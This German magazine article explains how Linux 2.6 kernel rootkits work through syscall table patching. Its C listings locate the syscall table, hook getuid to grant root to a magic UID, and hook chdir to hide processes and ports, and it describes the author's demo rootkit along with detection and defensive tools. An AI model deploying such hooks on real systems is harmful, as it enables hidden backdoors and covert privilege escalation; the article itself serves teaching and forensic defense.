Sie gelten als höchste Hackertechnik, dennoch sind Rootkits einfach und schnell zu implementieren. Moderne Vertreter unterwandern das angegriffene System auf Kernel-Ebene und entziehen sich den meisten Suchaktionen der Admins. Ein praktisches Beispiel zeigt, wie viel Kontrolle das Kit erlangt.
Nach dem Einbruch in fremde Computer wollen Angreifer ihr neu gewonnenes Terrain sichern. Kein neugieriger Nutzer und schon gar kein Administrator soll bemerken, dass sich sein treuer Rechenknecht fremden Befehlen unterwirft. Für ihre Tarnung vertrauen Eindringlinge gern auf vorgefertigte Tools. Diese so genannten Rootkits [11] verstecken verräterische Prozesse, Netzwerkverbindungen und Dateien vor den Blicken der Admins und sorgen meist dafür, dass der Angreifer jederzeit zurückkehren kann (Backdoor).
Früher war es in Cracker-Kreisen üblich, für ihre Rootkits die bereits installierten Programme zu modifizieren. Ein sabotiertes »netstat« würde die Verbindungen seines Meisters verschweigen oder »ps« seine heimtückischen Prozesse geheim halten. Da es eine ganze Reihe von Programmen auszutauschen gilt, entstanden früh spezielle Userland-Rootkits. Sie bringen eine Menge modifizierter Programme mit und lassen sich schnell vom Angreifer installieren. In den meisten Rootkits finden sich zudem Backdoors und beliebte Hacker-Tools, zum Beispiel IRC-Bouncer.
Grenzen im Userland
Aus Sicht des Angreifers leiden die Userland-Rootkits unter einem gravierenden Nachteil: Ein einfacher Vergleich mit der MD5-Prüfsumme der Originaldatei entlarvt die Sabotage. Auch spezialisierte Suchprogramme (so genannte Rootkit-Hunter) spüren diese einfachen Tools schnell auf. Zudem beschränkt sich der Einfluss auf die veränderten Programme; nachträglich installierte Software (etwa »lsof«) oder Tools, die auf nur lesbaren Medien liegen (CD-ROM), hebelt er nicht aus. Die Tarnung durch diese Art von Rootkits bleibt beschränkt.
Viel mehr Macht über das geknackte System übt ein Rootkit aus, wenn es direkt den Kernel modifiziert. Der Kernel stellt den Prozessen alle Systemdaten bereit, die diese wiederum dem Benutzer oderAdmin präsentieren.
Dynamisch im Kernel
Seit Version 2.2 lädt Linux dynamisch Kernelmodule, um Treiber und anderen Code während der Laufzeit des Betriebssystems einzubinden. Das vorher nötige Neukompilieren des Kernels und der Reboot entfallen. Kernel-Rootkits bedienen sich üblicherweise dieser Schnittstelle, um Code direkt im Kernel auszuführen [2]. Sie entfernen Informationen, die der Angreifer versteckenden will, bevor die Daten den Userspace erreichen. Damit täuschen sie alle Programme, egal ob nachträglich installiert und gegen welche Bibliotheken gelinkt.
Bis heute ist die Tarnung gut programmierter Kernel-Rootkits nahezu perfekt. Weder normale Systemwerkzeuge noch klassische forensische Tools bemerken eine Manipulation. Die Einflussmöglichkeiten und Tarneigenschaften der Kernel-Rootkits sind ihren Userland-Vorläufern weit überlegen.
Variantenreich
Mittlerweile haben sich mehrere Techniken etabliert, um im Kernel ihr Unwesen zu treiben und damit ein Kernel-Rootkit zu implementieren:
- Beim Syscall Table Patching tauscht das Rootkit einzelne
Original-Systemcalls gegen modifizierte Varianten. - Andere Rootkits setzen gleich eine neue Systemcall-Tabelle
ein. - VFS-Patching (Virtual File System, [3]) verändert Zeiger
in den Strukturen für das Root- und das Proc-Dateisystem. - Ganz verwegene Tools modifizieren direkt
Kernel-Codestrukturen.
Die Technik der Rootkits taugt nicht nur für dunkle Absichten, auch Admins profitieren davon: Sie analysieren und überwachen ihr System mit Tools wie Kstat [4] oder mit Modulen wie Saint Jude [5]. Andere Module wie Sebek [6] gleichen den Rootkits noch stärker und dienen dennoch gutartigen Zielen der Sicherheitsvorsorge (Honeynet).
Problem: Kernel 2.6
Mit der Veröffentlichung des Linux-Kernels 2.6 änderte sich vieles für Rootkit-Autoren. Bis auf das VFS-basierte Adore-NG [7] ist kein gut- oder bösartiges Rootkit für die aktuelle Fassung bekannt. Der Grund: Während ältere Kernel die Systemcall-Tabelle als Kernelsymbol exportieren und damit das Patchen der Systemcalls leicht fällt, verheimlicht Linux 2.6 diese Adressensammlung. Nun wäre dafür Folgendes nötig:
- Kernelquellcode und die beim Übersetzen angelegten
Files - Ein Symlink von »/lib/modules/Kernelversion/build«
nach »/usr/src/Kernelversion« - Eine passende »kernel.conf«
- Makefile für das Rootkit
- Achtung: Das Modul-Suffix hat sich von ».o« nach
».ko« geändert.
Benutzer der Meta-Distribution Gentoo haben es am einfachsten. Diese Architektur bringt alles Nötige mit.
Die Schnittstellen von User- und Kernelspace definiert die Tabelle der Systemcalls (siehe Abbildung 1). Sie enthält die Adressen aller Systemcalls. Die Standardbibliothek Libc kümmert sich darum, während der Laufzeit des Programms die jeweils nötigen Systemcalls aufzurufen, die der Kernel dann ausführt. Das Userspace-Programm verarbeitet und interpretiert danach die Rückgabewerte der Systemcalls.

Abbildung 1: Systemcalls bilden die Schnittstelle von Userspace-Programmen zum Kernel. Die Libc kapselt den Vorgang als einfache Bibliotheksfunktionen.
Die von Linux angebotenen Systemcalls befinden sich in der Datei »/usr/src/linux/include/asm/unistd.h«. Sie listet 293 Aufrufe mit ihrer Stelle in der Tabelle, zum Beispiel steht der Read-Systemcall an Position 3.
Original und Fälschung
Das Prinzip lässt sich mit dem »ls«-Programm gut beschreiben. Es ist im Wesentlichen durch den »sys_getdents64()«-Systemcall realisiert. Er liefert alle Dateien und Unterverzeichnisse, die sich in dem gewünschten Verzeichnis befinden. Die Rückgabe von »getdents64« wird von »ls« verarbeitet und auf der Standardausgabe ausgegeben. Bei einem ungepatchten Kernel (Abbildung 2) tauchen hier auch die von einem Angreifer erstellten Dateien »_R00t.txt« und »_R00tbackdoor.sh« auf.

Abbildung 2: Ein intaktes Systems gibt auf Wunsch des Benutzers über »ls -la« den Inhalt eines Verzeichnisses aus (rechts oben). Dazu ruft das Programm den Systemcall »getdents64()« auf und interpretiert dessen Rückgabewerte.
In Abbildung 3 ist dagegen ein manipuliertes System zu sehen, ein Angreifer hat die Systemcall-Tabelle gepatcht. Der neue Systemcall »my_getdents64« ruft die Originalroutine Getdents64 auf. Danach manipuliert »my_getdents64« gegebenenfalls die Rückgabe von Getdents64, beispielsweise entfernt er alle Dateien deren Name mit »_R00t« beginnt. Das manipulierte Ergebnis übergibt die Libc anschließend an »ls«. Das Programm verarbeitet die Daten weiter und gibt sie auf der Standardausgabe aus: Die von dem Angreifer erstellten Dateien tauchen dabei nicht auf.

Abbildung 3: In einem kompromittierten System führt der Systemcall-Aufruf aus Abbildung 2 zur sabotierten Variante »my_getdents64()«. Diese ruft die Original-Implementierung »getdents64()« auf, manipuliert die Rückgabewerte und liefert dem Benutzerprogramm nur einen Teil des Verzeichnisinhalts. Die Hacker-Tools tauchen darin nicht mehr auf.
Bevor ein Rootkit einen Systemcall kompromittieren kann, muss es die Systemcall-Tabelle aufspüren. Recht einfach und dennoch zuverlässig ist es, das gesamte Datensegment zu durchsuchen: Das Override-Rootkit [1] prüft für jede Speicheradresse des Datensegments, ob sich an dieser Stelle die Systemcall-Tabelle befindet (Listing 1). Die While-Schleife in Zeile 5 durchforstet alle in Frage kommenden Adressen.
|
Listing 1: Syscall-Tabelle |
|---|
01 int get_sct() {
02 unsigned long *ptr;
03
04 ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);
05 while((unsigned long )ptr < (unsigned long)init_mm.end_data) {
06 if ((unsigned long *)*ptr == (unsigned long *)sys_close) {
07 #ifdef DEBUG
08 printk (KERN_INFO" -> matching detected at %pn", ptr);
09 #endif
10 if ( (unsigned long *)*((ptr-__NR_close)+__NR_read)
11 == (unsigned long *) sys_read
12 && *((ptr-__NR_close)+__NR_open)
13 == (unsigned long) sys_open)
14 {
15 sys_call_table = (void **) ((unsigned long *)(ptr-__NR_close));
16 break;
17 }
18 }
19 ptr++;
20 }
21
22 #ifdef DEBUG
23 printk (KERN_INFO"sys_call_table base found at: %pn", sys_call_table);
24 #endif
25 if (sys_call_table == NULL) {
26 return -1;} else {
27 return 1;
28 }
29
30 return -1;
31 }
|
Als Testkandidat wählt es drei Systemcalls aus allen exportierten Kernelsymbolen aus (etwa Open, Close und Read). Die Adressen dieser Systemcalls sind bekannt (exportiert), die zu ihnen gehörenden Nummern stehen in »/usr/src/linux/include/asm/unistd.h« als Konstanten »__NR_open«, »__NR_close« und »__NR_read«. Zeile 6 in Listing 1 untersucht, ob sich an der Prüfstelle die Adresse von »sys_close()« befindet.
Um sicherzugehen, prüft die Routine zwei weitere Tabelleneinträge. Zeile 10 berechnet anhand des Tabellen-Index, wo sich der Eintrag für »sys_read()« befinden müsste. Zeile 11 vergleicht den Inhalt, um festzustellen, ob es sich um die Adresse des Read-Systemcalls handelt. Zeile 12 und 13 erledigen das Gleiche für den Open-Systemcall. Stimmen alle drei Einträge, berechnet Zeile 15 den Anfang der Systemcall-Tabelle. Andernfalls erhöht Zeile 19 den Zeiger.
Ziel-Systemcalls
Mit Kenntnis der Adresse der Systemcall-Tabelle stehen dem Rootkit wieder alle Möglichkeiten offen. Welchen Systemcall er manipulieren muss, um ein bestimmtes Programm zu täuschen, ermittelt der Entwickler mit »strace« [8]. Das Tool listet alle Systemcalls auf, die ein Prozess verwendet. Wie das bei »id« ausschaut, ist auszugsweise in Listing 2 zu sehen. Auf die Standardausgabe schreibt »id« die reale und die effektive User-ID sowie die Gruppenzugehörigkeiten:
uid=500(grid-knight) gid=1000(master) groups=19(cdrom),27(video),1003(auditor)
|
Listing 2: |
|---|
01 execve("/usr/bin/id", ["id"], [/* 53 vars */]) = 0
02 uname({sys="Linux", node="localhost", ...}) = 0
03 open("/dev/urandom", O_RDONLY) = 3
04 read(3, "10Yvh", 4) = 4
05 close(3) = 0
06 geteuid32() = 500
07 getuid32() = 500
08 getegid32() = 1000
09 getgid32() = 1000
10 write(1, "uid=500(grid-knight) gid=1000(master)...)
|
Auf Stderr landen die vielen Strace-Hinweise. Die erste Zeile von Listing 2 belegt die Beteiligung von »execve()« – der Systemcall führt aber nur das Programm »/usr/bin/id« aus. Etliche Open- und Read-Aufrufe verraten, welche Dateien »id« verwendet. Für dieses Beispiel wichtig und interessant sind jedoch die Systemcalls »getuid32()« und »getgid32()«. Sie ermitteln die aktuelle User- und Gruppen-ID. Mit dem Write-Systemcall (letzte Zeile) schreibt »id« das Ergebnis auf die Konsole. Der Filedeskriptor 1 (erster Parameter) ist gewöhnlich mit der Standardausgabe verbunden.
Falsche Identität
Ein lohnendes Ziel für Rootkits ist der Systemcall »getuid32()«. Eine kompromittierte Variante liefert beispielsweise bei einem User mit der realen User-ID 6666 die falsche Kennung 0 und verpasst ihm damit Root-Privilegien. Die Systemdateien (»/etc/passwd« und »/etc/shadow«) bleiben unangetastet; die Accountdaten dürfen sogar von einem NIS- oder LDAP-Server stammen. Selbst vorsichtigen Admins, die ihre User-Datenbanken regelmäßig überprüfen, bleibt der Schwindel verborgen.
Um den Original-Systemcall durch eine eigene Implementierung zu ersetzen, genügt es, deren Adresse in der Systemcall-Tabelle einzutragen. Listing 3 zeigt den Code für »my_getuid()«. Folgende Zeilen retten die Adresse der Originalroutine als »org_getuid« und überschreiben den Zeiger der Tabelle:
org_getuid=sys_call_table[__NR_getuid32]; (void *) sys_call_table[__NR_getuid32]= (void *) my_getuid;
Der Code in Listing 3 bedient sich gleich in Zeile 3 beim Original-Systemcall, um die tatsächliche User-ID zu ermitteln. Danach vergleicht er den Rückgabewert mit der Konstanten »MAGIC_UID« (etwa auf 6666 gesetzt). Stimmen beide Werte überein, setzt Zeile 5 nebenbei die User-ID des aktuellen Prozesses auf 0 und retourniert auch gleich diesen Wert. In allen anderen Fällen reicht »my_getuid()« den Original-Rückgabewert durch. Die Zeilen 11 bis 19 zeigen das analoge Vorgehen für die effektive User-ID.
|
Listing 3: Eigener |
|---|
01 int my_getuid() {
02 int ret;
03 ret = org_getuid();
04 if (ret == MAGIC_UID) {
05 current->uid = 0;
06 return 0;
07 }
08 return ret;
09 }
10
11 int my_geteuid() {
12 int ret;
13 ret = org_geteuid();
14 if (ret == MAGIC_UID) {
15 current->euid = 0;
16 return 0;
17 }
18 return ret;
19 }
|
Versteckte Schalter
Aufwändiger gestaltet sich das Verstecken von Prozessen und Ports. Statt deren Nummern fest in das Rootkit zu kodieren, verwendet der Demo-Code versteckte Schalter im »chdir()«-Systemcall. Wechselt der Eindringling in ein geheimes, nicht real existierendes Verzeichnis (etwa unterhalb »/dev«), fängt das Rootkit die Aktion ab, liest die im Verzeichnisnamen enthaltene Nummer und versteckt den zugehörigen Prozess. Andernfalls führt es den Chdir aus.
Der modifizierte Chdir-Systemcall in Listing 4 prüft in Zeile 5, ob der Benutzer ins Proc-Filesystem wechseln will, und wenn ja, ob er dort einen der versteckten Prozesse wählt (Zeilen 9 bis 15). Trifft dies zu, verbietet das Rootkit den Vorgang (Rückgabewert -1) und täuscht damit Rootkit-Hunter, die alle Prozess-IDs in »/proc/PID« durchprobieren, um damit verborgene Prozesse aufzuspüren.
|
Listing 4: Geheimer |
|---|
01 int my_chdir (char *path) {
02 char *ptr=NULL;
03 int pid;
04 int i;
05 if (strncmp (PROC_STRING, path, strlen (PROC_STRING)) == 0) {
06 ptr = path + strlen (PROC_STRING);
07 pid = my_atoi (ptr);
08 if (pid > 0) {
09 for (i=0; i<=MAX_HIDE_PIDS; i++) {
10 if (hide_pids[i] != 0) {
11 if (pid == hide_pids[i]) {
12 return -1;
13 }
14 }
15 }
16 }
17 }
18 if (strncmp (CHDIR_HIDE_PID, path, strlen(CHDIR_HIDE_PID)) == 0) {
19 ptr = (char *)path + strlen (CHDIR_HIDE_PID);
20 return hide_pid(my_atoi(ptr));
21 } else if (strncmp (CHDIR_UNHIDE_PID, path, strlen(CHDIR_UNHIDE_PID)) == 0) {
22 ptr = (char *)path + strlen (CHDIR_UNHIDE_PID);
23 return unhide_pid(my_atoi(ptr));
24 } else if (strncmp (CHDIR_SHOW_PIDS, path, strlen(CHDIR_SHOW_PIDS)) == 0) {
25 char pidlist[32];
26 unsigned long mmm;
27 struct task_struct *task;
28 char *string;
29 int i;
30
31 mmm=current->mm->brk;
32 org_brk((char*)mmm+32);
33 string = (char *)mmm +2;
34
35 for (i = 0; i <= MAX_HIDE_PIDS; i++) {
36 if (hide_pids[i] != 0) {
37 task = find_task_by_pid (hide_pids[i]);
38 snprintf (pidlist, 32, "%d - %sn", hide_pids[i], task->comm);
39 copy_to_user (string, pidlist, strlen(pidlist)+1);
40 org_write (1, string, strlen(string)+1);
41 }
42 }
43
44 org_brk((char*)mmm);
45 return 0;
46 } else if (strncmp (CHDIR_HIDE_NET, path, strlen(CHDIR_HIDE_NET)) == 0) {
47 ptr = (char *)path + strlen (CHDIR_HIDE_NET);
48 return hide_port(my_atoi(ptr));
49 } else if (strncmp (CHDIR_UNHIDE_NET, path, strlen(CHDIR_UNHIDE_NET)) == 0) {
50 ptr = (char *)path + strlen (CHDIR_UNHIDE_NET);
51 return unhide_port(my_atoi(ptr));
52 }
53 return org_chdir (path);
54 }
|
|
Tabelle 1: Wichtige |
|
|---|---|
|
Systemcall |
Beschreibung |
|
int sys_fork(); |
Dient dazu, Programme zu forken; das Override-Rootkit [1] |
|
int sys_getuid(); int sys_setuid (uid_t UID); |
Liest odersetzt die# User-ID; damit kann ein Rootkit einer |
|
int sys_chdir (const char* Pfad); |
Wechselt ins gewünschte Verzeichnis; im Override-Rootkit |
|
int sys_rmdir (const char* Name); |
Verzeichnis löschen |
|
int sys_mkdir (const char* Dateiname, int |
Verzeichnis erstellen |
|
int sys_open (const char* Dateiname, int |
Datei öffnen |
|
int sys_close (unsigned int Filedeskriptor); |
Datei schließen |
|
int sys_read (unsigned int Filedeskriptor, |
Datei-Inhalt lesen char* Buffer, unsigned int |
|
int sys_write (unsigned int Filedeskriptor, |
In Datei schreibenchar* Buffer, unsigned int |
|
int sys_getdents (unsigned int Filedeskriptor, struct dirent* Verzeichniseintrag, unsigned int Anzahl); |
Listet die Dateien in einem Verzeichnis; moderner Code |
Geheimer Pfad
Danach folgen fünf Vergleiche mit geheimen Schaltern: Immer wenn der Anfang des Pfads mit einem definierten Schalter übereinstimmt, tritt eine besondere Aktion in Kraft. Die Zeilen 18 bis 20 tragen die Prozess-ID, die der Aufrufer direkt an den virtuellen Pfad anhängt, in die Liste der zu versteckenden Prozesse ein. Die folgenden drei Zeilen entfernen einen Eintrag wieder. Die Zeilen 46 bis 51 implementieren das Verbergen und Aufdecken für Netzwerk-Ports.
Der Code der Zeilen 24 bis 45 schreibt auf Wunsch die Namen und Nummern aller verborgenen Prozesse auf die Standardausgabe. Die Schleife ab Zeile 35 iteriert dazu über das Array der zu versteckenden Prozesse. Enthält es einen Eintrag (ungleich 0), ermittelt »find_task_by_pid()« in Zeile 37 die Task-Struktur zur PID (definiert in »/usr/include/linux/sched.h«).
Die dann folgende Zeile schreibt die PID und den zugehörigen Kommandonamen »task.comm« in einen Kernel-Speicherbereich. Der Aufruf »copy_to_user()« überträgt diesen Bereich in den Userspace, »org_write()« schreibt danach den Inhalt über Filedeskriptor 1 auf die Standardausgabe.
Override-Rootkit
Das Override-Projekt [1] vom Autor dieses Artikels führt die bislang vorgestellten Techniken zusammen und implementiert ein vollständiges Demo-Rootkit für Kernel 2.6. Es versteckt jede gewünschte Prozess-ID und automatisch deren Kinder, listet die versteckten Prozesse mit ihrer ID und ihren Namen, tarnt Netzwerkports, verpasst allen Prozessen eines definierten Users Root-Privilegien und versteckt alle Dateien, die mit einem bestimmten Präfix beginnen.
- Prozess verstecken: »chdir
/dev/grid-hide-pid-Prozess-ID« - Prozess aufdecken: »chdir
/dev/grid-unhide-pid-Prozess-ID« - Versteckte Prozesse anzeigen: »chdir
/dev/grid-show-pids« - Netzwerkport verstecken: »chdir
/dev/grid-hide-port-Port« - Getarnten Netzwerk-Port aufdecken: »chdir
/dev/grid-unhide-port-Port« - Root-Privilegien verschaffen: Beliebiges Programm als User mit
der Magic-User-ID ausführen
Die dazu nötigen Änderungen an den Systemcalls fasst Tabelle 2 zusammen. Das Demo-Rootkit tarnt sich aber nicht perfekt. Zum Beispiel sind seine Spuren unter »/proc/kallsyms« zu finden: Dort listet der Kernel alle Kernelsymbole. Da der Rootkit-Autor die Adresse des Original-Systemcalls abspeichern muss, finden sich dort Symbole wie »org_« und »my_« sowie mindestens eine Variable für die Adresse der Systemcall-Tabelle, hier »sys_call_table«.
|
Tabelle 2: |
|
|---|---|
|
Systemcall |
Modifikation |
|
Chdir |
Versteckter Schalter für das Prozess- und Netzwerk-Hiding; |
|
Getuid und Geteuid |
Der Kernel gibt den Prozessen des Users mit einer Magic-UID |
|
Getdents64 |
Entfernt einzelne Files aus dem Directory-Listing; wer den |
|
Read |
Blockiert das Lesen versteckter Ports |
|
Fork und Clone |
Automatisch auch die Child-Prozesse eines versteckten Prozesses |
Spielraum
Neben dem Patchen der Systemcalls verbleiben Angreifern weitere Techniken, um ihre Rootkits zu betreiben. Sie können sich in der VFS-Schicht (Virtual File System) einnisten oder den Kernelcode direkt verändern. Letztere Kits kommen ohne Modulsupport des Kernels aus, sind aber schwieriger zu implementieren. Sie verwenden die Schnittstelle »/dev/kmem«, um direkt in den Speicherbereich des Kernels zu schreiben. Seit Linux 2.6.14 haben die Entwickler dieses API entfernt, um solche Rootkits auszusperren.
Richtig schwer wird es für Angreifer, wenn der Kernel ihnen zusätzlich den Modulsupport verwehrt. Wer als Admin diese wichtige Funktionalität aber nicht ganz aus seinem Kernel verbannen will, findet in Kernel-Guard [1] einen schlichten Helfer. Dieses gutartige Rootkit modifiziert die zwei Systemcalls, die für das Laden und Entladen von Kernelmodulen zuständig sind. Nach dem Laden von Kernel-Guard kann niemand (einschließlich der Benutzer mit Root-Privilegien) mehr ein Kernelmodul laden oder entfernen.
Fazit
Gegen Kernel-Rootkits helfen die beliebten Prüfsummen-basierten Programme wie Aide oder Tripwire nichts. Die Rootkits manipulieren direkt die Systemcalls oder andere Stellen im Kernel und täuschen damit alle Userspace-Programme. Nur wer die Funktionsweise genau kennt, hat eine Chance, dennoch verräterische Spuren des Sabotage-Akts aufzuspüren. Wo und wonach der Forensiker zu suchen hat, hängt aber stark von dem jeweiligen Rootkit ab. (fjl)
|
Infos |
|---|
|
[1] Amir Alsbih: Override-Rootkit und Kernel-Guard, [http://www.informatik.uni-freiburg.de/~alsbiha/code.htm] [2] Halflife, “Abuse of the Linux Kernel for fun and profit”: [http://www.phrack.org/phrack/50/P50-05] [3] Palmers, “Advances in Kernel Hacking”: [http://www.phrack.org/phrack/58/p58-0x06] [4] Softproject: [http://www.s0ftpj.org/en/tools.html] [5] Saint Jude: [http://sf.net/projects/stjude] [6] Sebek: [http://www.honeynet.org/tools/sebek/] [7] Adore-NG: [http://packetstorm.linuxsecurity.com] [8] Strace: [http://www.liacs.nl/~wichert/strace] [9] Boris Schauerte, “Verborgene Gefahren – Trojanische Pferde in den Kernel laden”: Linux-Magazin 11/01, S. 60 [10] Boris Schauerte, “Feind im Dunkeln – Wie gefährlich sind die Cracker-Werkzeuge”: Linux-Magazin 03/02, S. 44 [11] Jens und Sebastian Wolfgarten, “Licht ins Dunkel – Rootkits in fremden Computern”: Linux-Magazin 12/05, S. 36 |
|
Der Autor |
|---|
|
Amir Alsbih studiert Informatik an der Uni Freiburg. Er forscht im Bereich IT-Security und hält unter anderem Vorträge für die Polizei, LKA und die Steuerfahndung. |





